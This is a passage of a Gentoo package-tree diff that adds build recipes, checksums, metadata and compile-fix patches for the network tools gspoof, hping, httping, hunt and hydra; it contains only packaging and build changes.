+@@ -47,12 +47,6 @@ int RestoreDefault()
+ struct libnet_ether_addr *ethaddr; /* eth address */
+ libnet_t *l;
+
+- /* put default value */
+- bzero (&f, 6);
+- bzero (&ck, 2);
+- memset (data, '\0', 128);
+- memset (device, '\0', 10);
+-
+ /* loading libnet core */
+ if ((l=libnet_init(LIBNET_LINK, NULL, ebuf))==NULL)
+ {
+@@ -126,6 +120,12 @@ int RestoreDefault()
+ gtk_entry_set_text (GTK_ENTRY (win_entry), "32767");
+ gtk_entry_set_text(GTK_ENTRY (urg_entry), ltostr(urgp));
+
++ /* put default value */
++ bzero (&f, sizeof(f));
++ bzero (&ck, sizeof(ck));
++ memset (data, '\0', 128);
++ memset (device, '\0', 10);
++
+ /* Set default variable values */
+ f.syn=1;
+ m.number=10;
diff --git a/net-analyzer/gspoof/gspoof-3.2-r2.ebuild b/net-analyzer/gspoof/gspoof-3.2-r2.ebuild
new file mode 100644
index 000000000000..31e98d07b950
--- /dev/null
+++ b/net-analyzer/gspoof/gspoof-3.2-r2.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit autotools eutils
+
+DESCRIPTION="A simple GTK/command line TCP/IP packet generator"
+HOMEPAGE="http://gspoof.sourceforge.net/"
+SRC_URI="http://gspoof.sourceforge.net/src/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+IUSE=""
+
+DEPEND="
+ x11-libs/gtk+:2
+ dev-libs/glib:2
+ net-libs/libnet:1.1
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-def-values.patch \
+ "${FILESDIR}"/${P}-icon.patch
+ sed -i configure.ac -e 's|libnet.a|libnet.so|g' || die
+ eautoreconf
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS}" LDFLAGS="${LDFLAGS}"
+}
+
+src_install() {
+ dobin gspoof
+ newicon pixmap/icon.png ${PN}.png
+ dodoc README CHANGELOG TODO
+}
diff --git a/net-analyzer/gspoof/metadata.xml b/net-analyzer/gspoof/metadata.xml
new file mode 100644
index 000000000000..ff62877c67ae
--- /dev/null
+++ b/net-analyzer/gspoof/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/hping/Manifest b/net-analyzer/hping/Manifest
new file mode 100644
index 000000000000..b4282eeaa87c
--- /dev/null
+++ b/net-analyzer/hping/Manifest
@@ -0,0 +1 @@
+DIST hping3-20051105.tar.gz 584001 SHA256 f5a671a62a11dc8114fa98eade19542ed1c3aa3c832b0e572ca0eb1a5a4faee8 SHA512 3b3faa836e70054c8f9f004d876b7eb5f668b64826a6aaf8ca3685619111d9df4eb494a7d38b83cea6cb5f0bd164956461039bf4f73f7c7e90d80cede639b2b3 WHIRLPOOL 2043ac3d71d795a34abe0fc58f525b54e25ca0b8fadb7b2e88d8a6f5d6f4744bda4471f74c96212a78f58510572c1079683ca57650428924eb6223ee110ea6c1
diff --git a/net-analyzer/hping/files/bytesex.h.patch b/net-analyzer/hping/files/bytesex.h.patch
new file mode 100644
index 000000000000..872321d41bfd
--- /dev/null
+++ b/net-analyzer/hping/files/bytesex.h.patch
@@ -0,0 +1,18 @@
+--- a/bytesex.h
++++ b/bytesex.h
+@@ -9,11 +9,15 @@
+
+ #if defined(__i386__) \
+ || defined(__alpha__) \
++ || defined(__arm__) \
++ || defined(__x86_64__) \
++ || defined(__ia64__) \
+ || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))
+ #define BYTE_ORDER_LITTLE_ENDIAN
+ #elif defined(__mc68000__) \
+ || defined (__sparc__) \
+ || defined (__sparc) \
++ || defined (__hppa__) \
+ || defined (__PPC__) \
+ || defined (__BIG_ENDIAN__) \
+ || (defined(__mips__) && (defined(MIPSEB) || defined (__MIPSEB__)))
diff --git a/net-analyzer/hping/files/hping-3_pre20051105-ldflags.patch b/net-analyzer/hping/files/hping-3_pre20051105-ldflags.patch
new file mode 100644
index 000000000000..39814bff0d8c
--- /dev/null
+++ b/net-analyzer/hping/files/hping-3_pre20051105-ldflags.patch
@@ -0,0 +1,16 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -50,11 +50,11 @@
+ $(RANLIB) $@
+
+ hping3: byteorder.h $(OBJ)
+- $(CC) -o hping3 $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@
++ $(CC) -o hping3 $(CCOPT) $(LDFLAGS) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@
+ @echo
+
+ hping3-static: byteorder.h $(OBJ)
+- $(CC) -static -o hping3-static $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@ -ldl
++ $(CC) -static -o hping3-static $(CCOPT) $(LDFLAGS) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@ -ldl
+
+ byteorder.h:
+ ./configure
diff --git a/net-analyzer/hping/files/hping-3_pre20051105-libtcl.patch b/net-analyzer/hping/files/hping-3_pre20051105-libtcl.patch
new file mode 100644
index 000000000000..807399cb553c
--- /dev/null
+++ b/net-analyzer/hping/files/hping-3_pre20051105-libtcl.patch
@@ -0,0 +1,16 @@
+When anything libtcl (bug #247282) this will fail, and we're only finding out
+the version of the library anyway, so why not use TCL_VER, which is found using
+a slightly less fishy method. -JeR
+
+--- a/configure
++++ b/configure
+@@ -98,8 +98,7 @@
+ fi
+ if [ -n $USE_TCL ]
+ then
+- LIBPOSTFIX=`ls -1 /usr/local/lib/ /usr/lib | grep 'libtcl[0-9]' | grep so | sed -e 's/\.so.*//g' -e 's/libtcl//g' | sort -r | head -1`
+- TCL_LIB="-ltcl${LIBPOSTFIX} -lm -lpthread"
++ TCL_LIB="-ltcl${TCL_VER} -lm -lpthread"
+ fi
+
+ #
diff --git a/net-analyzer/hping/files/hping-3_pre20051105-scan-overflow.patch b/net-analyzer/hping/files/hping-3_pre20051105-scan-overflow.patch
new file mode 100644
index 000000000000..2c3e01bf697a
--- /dev/null
+++ b/net-analyzer/hping/files/hping-3_pre20051105-scan-overflow.patch
@@ -0,0 +1,11 @@
+--- a/scan.c
++++ b/scan.c
+@@ -456,7 +456,7 @@
+ continue;
+ /* time to copy headers in a safe place */
+ p = packet+linkhdr_size+iphdrlen;
+- memcpy(&icmp, p, sizeof(subtcp));
++ memcpy(&icmp, p, sizeof(icmp));
+ p += sizeof(icmp);
+ memcpy(&subip, p, sizeof(ip));
+ p += sizeof(ip);
diff --git a/net-analyzer/hping/files/hping-3_pre20051105-tcl.patch b/net-analyzer/hping/files/hping-3_pre20051105-tcl.patch
new file mode 100644
index 000000000000..1fb734e349b4
--- /dev/null
+++ b/net-analyzer/hping/files/hping-3_pre20051105-tcl.patch
@@ -0,0 +1,11 @@
+--- a/configure
++++ b/configure
+@@ -63,7 +63,7 @@
+ #
+ for TCLPATH_TRY in "/usr/bin/" "/usr/local/bin/" "/bin/"
+ do
+- for TCLVER_TRY in "8.4" "8.3" "8.2" "8.1" "8.0"
++ for TCLVER_TRY in "8.6" "8.5" "8.4" "8.3" "8.2" "8.1" "8.0"
+ do
+ if [ -z $TCLSH ]
+ then
diff --git a/net-analyzer/hping/files/hping-3_pre20051105-tclsh-proper-escaping.patch b/net-analyzer/hping/files/hping-3_pre20051105-tclsh-proper-escaping.patch
new file mode 100644
index 000000000000..8cd7065c8393
--- /dev/null
+++ b/net-analyzer/hping/files/hping-3_pre20051105-tclsh-proper-escaping.patch
@@ -0,0 +1,26 @@
+Fix for https://bugs.gentoo.org/show_bug.cgi?id=486664
+
+--- a/configure
++++ b/configure
+@@ -65,10 +65,10 @@
+ do
+ for TCLVER_TRY in "8.6" "8.5" "8.4" "8.3" "8.2" "8.1" "8.0"
+ do
+- if [ -z $TCLSH ]
++ if [ -z "$TCLSH" ]
+ then
+ TCLSH_TRY=${TCLPATH_TRY}tclsh${TCLVER_TRY}
+- if [ -f $TCLSH_TRY ]
++ if [ -f "$TCLSH_TRY" ]
+ then
+ TCLSH=$TCLSH_TRY
+ echo "===> Found Tclsh in: $TCLSH"
+@@ -76,7 +76,7 @@
+ fi
+ done
+ done
+-if [ -f $TCLSH ]
++if [ -f "$TCLSH" ]
+ then
+ TCL_VER=`echo puts \\$tcl_version | $TCLSH -`
+ USE_TCL='-DUSE_TCL'
diff --git a/net-analyzer/hping/files/hping-3_pre20051105.patch b/net-analyzer/hping/files/hping-3_pre20051105.patch
new file mode 100644
index 000000000000..e3133f2b6b42
--- /dev/null
+++ b/net-analyzer/hping/files/hping-3_pre20051105.patch
@@ -0,0 +1,45 @@
+--- a/libpcap_stuff.c
++++ b/libpcap_stuff.c
+@@ -17,7 +17,7 @@
+ #include <stdlib.h>
+ #include <sys/ioctl.h>
+ #include <pcap.h>
+-#include <net/bpf.h>
++#include <pcap-bpf.h>
+
+ #include "globals.h"
+
+--- a/script.c
++++ b/script.c
+@@ -24,7 +24,7 @@
+
+ #include <sys/ioctl.h>
+ #include <pcap.h>
+-#include <net/bpf.h>
++#include <pcap-bpf.h>
+
+ #include "release.h"
+ #include "hping2.h"
+--- a/configure
++++ b/configure
+@@ -93,7 +93,7 @@
+ else
+ USE_TCL=""
+ TCL_LIB=""
+- echo "==> WARNING: no Tcl header files found!"
++ echo "==> WARNING: no Tcl header files found."
+ fi
+ fi
+ if [ -n $USE_TCL ]
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -52,9 +52,6 @@
+ hping3: byteorder.h $(OBJ)
+ $(CC) -o hping3 $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@
+ @echo
+- ./hping3 -v
+- @echo "use \`make strip' to strip hping3 binary"
+- @echo "use \`make install' to install hping3"
+
+ hping3-static: byteorder.h $(OBJ)
+ $(CC) -static -o hping3-static $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@ -ldl
diff --git a/net-analyzer/hping/hping-3_pre20051105-r3.ebuild b/net-analyzer/hping/hping-3_pre20051105-r3.ebuild
new file mode 100644
index 000000000000..336fe95512f9
--- /dev/null
+++ b/net-analyzer/hping/hping-3_pre20051105-r3.ebuild
@@ -0,0 +1,75 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs
+
+MY_P="${PN}${PV//_pre/-}"
+DESCRIPTION="A ping-like TCP/IP packet assembler/analyzer"
+HOMEPAGE="http://www.hping.org"
+SRC_URI="http://www.hping.org/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm hppa ia64 ~mips ppc sparc x86"
+IUSE="tcl"
+
+S="${WORKDIR}/${MY_P}"
+
+DEPEND="net-libs/libpcap
+ tcl? ( dev-lang/tcl:0 )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}.patch \
+ "${FILESDIR}"/bytesex.h.patch \
+ "${FILESDIR}"/${P}-tcl.patch \
+ "${FILESDIR}"/${P}-ldflags.patch \
+ "${FILESDIR}"/${P}-libtcl.patch \
+ "${FILESDIR}"/${P}-scan-overflow.patch
+
+ # Correct hard coded values
+ sed -i Makefile.in \
+ -e '/^CC=/d' \
+ -e '/^AR=/d' \
+ -e '/^RANLIB=/d' \
+ -e 's:/usr/local/lib:/usr/$(LIBDIR):g' \
+ -e 's:-O2:$(CFLAGS):' \
+ || die "sed Makefile.in failed"
+
+ # Change name from hping2 to hping3
+ sed -i docs/hping3.8 \
+ -e 's|HPING2|HPING|g' \
+ -e 's|hping2|hping|g' \
+ || die "sed hping3.8 failed"
+}
+
+src_configure() {
+ tc-export CC
+
+ # Not an autotools type configure:
+ sh configure $(use tcl || echo --no-tcl) || die "configure failed"
+}
+
+src_compile() {
+ emake \
+ DEBUG="" \
+ "CFLAGS=${CFLAGS}" \
+ "AR=$(tc-getAR)" \
+ "RANLIB=$(tc-getRANLIB)" \
+ "LIBDIR=$(get_libdir)" \
+ || die "emake failed"
+}
+
+src_install () {
+ dosbin hping3
+ dosym /usr/sbin/hping3 /usr/sbin/hping
+ dosym /usr/sbin/hping3 /usr/sbin/hping2
+
+ newman docs/hping3.8 hping.8
+
+ dodoc INSTALL NEWS README TODO AUTHORS BUGS CHANGES
+}
diff --git a/net-analyzer/hping/hping-3_pre20051105-r5.ebuild b/net-analyzer/hping/hping-3_pre20051105-r5.ebuild
new file mode 100644
index 000000000000..76538df88a7c
--- /dev/null
+++ b/net-analyzer/hping/hping-3_pre20051105-r5.ebuild
@@ -0,0 +1,75 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs
+
+MY_P="${PN}${PV//_pre/-}"
+DESCRIPTION="A ping-like TCP/IP packet assembler/analyzer"
+HOMEPAGE="http://www.hping.org"
+SRC_URI="http://www.hping.org/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~sparc ~x86"
+IUSE="tcl"
+
+S="${WORKDIR}/${MY_P}"
+
+DEPEND="net-libs/libpcap
+ tcl? ( dev-lang/tcl:0= )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}.patch \
+ "${FILESDIR}"/bytesex.h.patch \
+ "${FILESDIR}"/${P}-tcl.patch \
+ "${FILESDIR}"/${P}-ldflags.patch \
+ "${FILESDIR}"/${P}-libtcl.patch \
+ "${FILESDIR}"/${P}-scan-overflow.patch \
+ "${FILESDIR}"/${P}-tclsh-proper-escaping.patch # bug #486664
+
+ # Correct hard coded values
+ sed -i Makefile.in \
+ -e '/^CC=/d' \
+ -e '/^AR=/d' \
+ -e '/^RANLIB=/d' \
+ -e 's:/usr/local/lib:/usr/$(LIBDIR):g' \
+ -e 's:-O2:$(CFLAGS):' \
+ || die
+
+ # Change name from hping2 to hping3
+ sed -i docs/hping3.8 \
+ -e 's|HPING2|HPING|g' \
+ -e 's|hping2|hping|g' \
+ || die
+}
+
+src_configure() {
+ tc-export CC
+
+ # Not an autotools type configure:
+ sh configure $(usex tcl '' --no-tcl) || die
+}
+
+src_compile() {
+ emake \
+ DEBUG="" \
+ "CFLAGS=${CFLAGS}" \
+ "AR=$(tc-getAR)" \
+ "RANLIB=$(tc-getRANLIB)" \
+ "LIBDIR=$(get_libdir)"
+}
+
+src_install () {
+ dosbin hping3
+ dosym /usr/sbin/hping3 /usr/sbin/hping
+ dosym /usr/sbin/hping3 /usr/sbin/hping2
+
+ newman docs/hping3.8 hping.8
+
+ dodoc AUTHORS BUGS CHANGES INSTALL NEWS README TODO
+}
diff --git a/net-analyzer/hping/metadata.xml b/net-analyzer/hping/metadata.xml
new file mode 100644
index 000000000000..9ca15ca788e8
--- /dev/null
+++ b/net-analyzer/hping/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
+
diff --git a/net-analyzer/httping/Manifest b/net-analyzer/httping/Manifest
new file mode 100644
index 000000000000..2c43a9f0c70d
--- /dev/null
+++ b/net-analyzer/httping/Manifest
@@ -0,0 +1 @@
+DIST httping-2.4.tgz 54170 SHA256 dab59f02b08bfbbc978c005bb16d2db6fe21e1fc841fde96af3d497ddfc82084 SHA512 11d9e9e3b222548c9754cc0e7bf947f1a55ccc9f1a2401681f95d21b7b7a56c07665955b558a56d07a5c98497ea3644758e4f85006c42fda2134556be8d9e804 WHIRLPOOL eb1318094eb22aa2186421f04c26c4e980a41ba901a3bf80ab50e036417d3cf241bdef26a397b6e6f337cf48fdf3e19627cde82ef6b0ed4c6e3525d1c13a0cf6
diff --git a/net-analyzer/httping/files/httping-2.2.1-flags.patch b/net-analyzer/httping/files/httping-2.2.1-flags.patch
new file mode 100644
index 000000000000..194eb473577c
--- /dev/null
+++ b/net-analyzer/httping/files/httping-2.2.1-flags.patch
@@ -0,0 +1,12 @@
+--- a/Makefile
++++ b/Makefile
+@@ -84,8 +84,7 @@
+ endif
+
+ ifeq ($(DEBUG),yes)
+-CFLAGS+=-D_DEBUG -ggdb
+-LDFLAGS+=-g
++CFLAGS+=-D_DEBUG
+ endif
+
+ ifeq ($(ARM),yes)
diff --git a/net-analyzer/httping/httping-2.4.ebuild b/net-analyzer/httping/httping-2.4.ebuild
new file mode 100644
index 000000000000..2c8f9965c7a7
--- /dev/null
+++ b/net-analyzer/httping/httping-2.4.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="http protocol ping-like program"
+HOMEPAGE="http://www.vanheusden.com/httping/"
+SRC_URI="http://www.vanheusden.com/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 hppa ~mips ~ppc ppc64 ~sparc x86"
+IUSE="debug fftw linguas_nl ncurses ssl tfo"
+
+RDEPEND="
+ fftw? ( sci-libs/fftw:3.0 )
+ ncurses? ( >=sys-libs/ncurses-5 )
+ ssl? ( dev-libs/openssl )
+"
+DEPEND="
+ ${RDEPEND}
+ ncurses? ( virtual/pkgconfig )
+"
+
+# This would bring in test? ( dev-util/cppcheck ) but unlike
+# upstream we should only care about compile/run time testing
+RESTRICT="test"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-2.2.1-flags.patch
+
+ # doman does not get PN-LANG.CAT so we move things around and then point at
+ # it later
+ if use linguas_nl; then
+ mkdir nl || die
+ mv httping-nl.1 nl/httping.1 || die
+ fi
+}
+
+src_configure() {
+ # not an autotools script
+ echo > makefile.inc || die
+
+ use ncurses && LDFLAGS+=" $( $( tc-getPKG_CONFIG ) --libs ncurses )"
+}
+
+src_compile() {
+ emake \
+ CC="$(tc-getCC)" \
+ FW=$(usex fftw) \
+ DEBUG=$(usex debug) \
+ NC=$(usex ncurses) \
+ SSL=$(usex ssl) \
+ TFO=$(usex tfo)
+}
+
+src_install() {
+ dobin httping
+ doman httping.1
+
+ use linguas_nl && doman -i18n=nl nl/httping.1
+}
diff --git a/net-analyzer/httping/metadata.xml b/net-analyzer/httping/metadata.xml
new file mode 100644
index 000000000000..c1f6c147e3a5
--- /dev/null
+++ b/net-analyzer/httping/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='tfo'>Enable support for TCP Fast Open</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/hunt/Manifest b/net-analyzer/hunt/Manifest
new file mode 100644
index 000000000000..02e4261b7fd8
--- /dev/null
+++ b/net-analyzer/hunt/Manifest
@@ -0,0 +1 @@
+DIST hunt-1.5.tgz 99241 SHA256 a8a1978f3bd05ca3f01c168c13c9a09b1e1e9038c14fdfe43694c07fe3a0e328 SHA512 b016f7ae0ac7568b4a5006b7c5e6f3e80df71a67d94a1e62afc46fb0f10cb661df7e3bff1f0229836a2247ef368dc2681ad955821e97cb6a91fcfe489b871a61 WHIRLPOOL 01b354797c83828899d5b957428f04e731e9edf12d601615d89bf70b55447cef9f65c4c9e5a5d6f7fcb5edb5fd49ad6942a88a5988866003b8e5a83045001b9c
diff --git a/net-analyzer/hunt/files/hunt-1.5-exit.patch b/net-analyzer/hunt/files/hunt-1.5-exit.patch
new file mode 100644
index 000000000000..226093e1795a
--- /dev/null
+++ b/net-analyzer/hunt/files/hunt-1.5-exit.patch
@@ -0,0 +1,10 @@
+--- a/timer.c
++++ b/timer.c
+@@ -8,6 +8,7 @@
+ */
+ #include <stdio.h>
+ #include <unistd.h>
++#include <stdlib.h> /* exit() */
+ #include "hunt.h"
+
+ struct list timejob_list = LIST_INIT(struct timejob, j_next);
diff --git a/net-analyzer/hunt/files/hunt-1.5-flags.patch b/net-analyzer/hunt/files/hunt-1.5-flags.patch
new file mode 100644
index 000000000000..2ffcd823847e
--- /dev/null
+++ b/net-analyzer/hunt/files/hunt-1.5-flags.patch
@@ -0,0 +1,21 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,8 +1,7 @@
+-CFLAGS=-Wall -O2 -g -D_REENTRANT
++CFLAGS += -I. -Wall -D_REENTRANT
+ #CFLAGS+=-DSYNC_FAST
+ #CFLAGS+=-D_WITH_LINUX_KERNEL_HDR
+
+-LDFLAGS=
+ #LDFLAGS=-static
+
+ OBJ=hunt.o main.o c/list.o c/hash.o c/array.o util.o net.o \
+@@ -11,7 +10,7 @@
+ addpolicy.o options.o resolv.o timer.o pktrelay.o
+
+ hunt: $(OBJ)
+- $(CC) ${LDFLAGS} -o $@ $^ -lpthread
++ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
+
+ hunt_static: $(OBJ)
+ $(CC) ${LDFLAGS} -static -o $@ $^ -lpthread
diff --git a/net-analyzer/hunt/files/hunt-1.5-log2.patch b/net-analyzer/hunt/files/hunt-1.5-log2.patch
new file mode 100644
index 000000000000..fc36eaea1f3b
--- /dev/null
+++ b/net-analyzer/hunt/files/hunt-1.5-log2.patch
@@ -0,0 +1,22 @@
+--- a/hunt.h
++++ b/hunt.h
+@@ -401,7 +401,7 @@
+ void set_tty_color_bg(enum TTY_COLOR fg, enum TTY_COLOR bg);
+
+ int is_power2(unsigned int i);
+-int log2(unsigned int i);
++int _hunt_log2(unsigned int i);
+ int count_mask(unsigned int mask);
+
+
+--- a/util.c
++++ b/util.c
+@@ -70,7 +70,7 @@
+ return i ? 0 : 1;
+ }
+
+-int log2(unsigned int i)
++int _hunt_log2(unsigned int i)
+ {
+ int l = 0;
+
diff --git a/net-analyzer/hunt/hunt-1.5-r1.ebuild b/net-analyzer/hunt/hunt-1.5-r1.ebuild
new file mode 100644
index 000000000000..86a3507124cf
--- /dev/null
+++ b/net-analyzer/hunt/hunt-1.5-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit toolchain-funcs
+
+DESCRIPTION="tool for checking well known weaknesses in the TCP/IP protocol"
+HOMEPAGE="http://lin.fsid.cvut.cz/~kra/index.html"
+SRC_URI="http://lin.fsid.cvut.cz/~kra/hunt/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+src_prepare() {
+ sed -i Makefile \
+ -e 's:^CFLAGS=:CFLAGS += -I. :g' \
+ -e '/^LDFLAGS=/d' \
+ -e 's:${LDFLAGS}:$(LDFLAGS):g' \
+ -e 's:-O2 -g::' \
+ || die
+}
+
+src_compile() {
+ emake CC=$(tc-getCC)
+}
+
+src_install() {
+ dobin hunt
+ doman man/hunt.1
+ dodoc CHANGES README* TODO tpsetup/transproxy
+}
diff --git a/net-analyzer/hunt/hunt-1.5-r2.ebuild b/net-analyzer/hunt/hunt-1.5-r2.ebuild
new file mode 100644
index 000000000000..f9ce55c25250
--- /dev/null
+++ b/net-analyzer/hunt/hunt-1.5-r2.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="tool for checking well known weaknesses in the TCP/IP protocol"
+HOMEPAGE="http://lin.fsid.cvut.cz/~kra/index.html"
+SRC_URI="http://lin.fsid.cvut.cz/~kra/hunt/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-exit.patch \
+ "${FILESDIR}"/${P}-flags.patch \
+ "${FILESDIR}"/${P}-log2.patch
+}
+
+src_compile() {
+ emake CC=$(tc-getCC)
+}
+
+src_install() {
+ dobin hunt
+ doman man/hunt.1
+ dodoc CHANGES README* TODO tpsetup/transproxy
+}
diff --git a/net-analyzer/hunt/metadata.xml b/net-analyzer/hunt/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/hunt/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/hydra/Manifest b/net-analyzer/hydra/Manifest
new file mode 100644
index 000000000000..63141477f5b6
--- /dev/null
+++ b/net-analyzer/hydra/Manifest
@@ -0,0 +1 @@
+DIST hydra-8.1.tar.gz 559031 SHA256 e4bc2fd11f97a8d985a38a31785c86d38cc60383e47a8f4a5c436351e5135f19 SHA512 7608dd365865e5976bea446faedaad9f0334e7572fd0ee47a601c471471fc7c8a922c7114f4df08705b34b29144d3a6552e66148adf6b0f92c67301119c94959 WHIRLPOOL b1555fe1a8257c88f8f5c110fce1d06834eb6dadad394b61e2a90c3289b8fdd117944da160871003b1583aefb81a02d5c49a653e8de7d3adcd07917ae760c83c
diff --git a/net-analyzer/hydra/files/hydra-8.0-configure.patch b/net-analyzer/hydra/files/hydra-8.0-configure.patch
new file mode 100644
index 000000000000..3ab9989b6384
--- /dev/null
+++ b/net-analyzer/hydra/files/hydra-8.0-configure.patch
@@ -0,0 +1,44 @@
+--- a/configure
++++ b/configure
+@@ -66,8 +66,6 @@
+ MYSQL_IPATH=""
+ AFP_PATH=""
+ AFP_IPATH=""
+-NCP_PATH=""
+-NCP_IPATH=""
+ SVN_PATH=""
+ SVN_IPATH=""
+ APR_IPATH=""
+@@ -508,32 +506,6 @@
+ fi
+
+ echo "Checking for NCP (libncp.so / nwcalls.h) ..."
+-for i in $LIBDIRS ; do
+- if [ "X" = "X$NCP_PATH" ]; then
+- if [ -f "$i/libncp.so" -o -f "$i/libncp.dylib" -o -f "$i/libncp.a" ]; then
+- NCP_PATH="$i"
+- fi
+- fi
+- if [ "X" = "X$NCP_PATH" ]; then
+- TMP_LIB=`/bin/ls $i/libncp.so.* 2> /dev/null | grep ncp.`
+- if [ -n "$TMP_LIB" ]; then
+- NCP_PATH="$i"
+- fi
+- fi
+- if [ "X" = "X$NCP_PATH" ]; then
+- TMP_LIB=`/bin/ls $i/libncp.dll* 2> /dev/null | grep ncp.`
+- if [ -n "$TMP_LIB" ]; then
+- NCP_PATH="$i"
+- fi
+- fi
+-done
+-for i in $INCDIRS ; do
+- if [ "X" != "X$NCP_PATH" ]; then
+- if [ -f "$i/ncp/nwcalls.h" ]; then
+- NCP_IPATH="$i"
+- fi
+- fi
+-done
+ if [ -n "$NCP_PATH" -a -n "$NCP_IPATH" ]; then
+ echo " ... found"
+ fi
diff --git a/net-analyzer/hydra/hydra-8.1.ebuild b/net-analyzer/hydra/hydra-8.1.ebuild
new file mode 100644
index 000000000000..38f5caff028f
--- /dev/null
+++ b/net-analyzer/hydra/hydra-8.1.ebuild
@@ -0,0 +1,99 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Advanced parallized login hacker"
+HOMEPAGE="http://www.thc.org/thc-hydra/"
+SRC_URI="http://freeworld.thc.org/releases/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="firebird gtk idn mysql ncp oracle pcre postgres ssl subversion"
+
+RDEPEND="
+ dev-libs/openssl
+ sys-libs/ncurses
+ firebird? ( dev-db/firebird )
+ gtk? (
+ dev-libs/atk
+ dev-libs/glib:2
+ x11-libs/gdk-pixbuf:2
+ x11-libs/gtk+:2
+ )
+ idn? ( net-dns/libidn )
+ mysql? ( virtual/mysql )
+ ncp? ( net-fs/ncpfs )
+ oracle? ( dev-db/oracle-instantclient-basic )
+ pcre? ( dev-libs/libpcre )
+ postgres? ( dev-db/postgresql )
+ ssl? ( >=net-libs/libssh-0.4.0 )
+ subversion? ( dev-vcs/subversion )
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ # None of the settings in Makefile.unix are useful to us
+ : > Makefile.unix
+
+ sed -i \
+ -e 's:|| echo.*$::' \
+ -e '/\t-$(CC)/s:-::' \
+ -e '/^OPTS/{s|=|+=|;s| -O3||}' \
+ -e '/ -o /s:$(OPTS):& $(LDFLAGS):g' \
+ Makefile.am || die
+
+ epatch "${FILESDIR}"/${PN}-8.0-configure.patch
+}
+
+src_configure() {
+ export OPTS="${CFLAGS}"
+
+ if ! use subversion; then
+ sed -i 's/-lsvn_client-1 -lapr-1 -laprutil-1 -lsvn_subr-1//;s/-DLIBSVN//' configure || die
+ fi
+
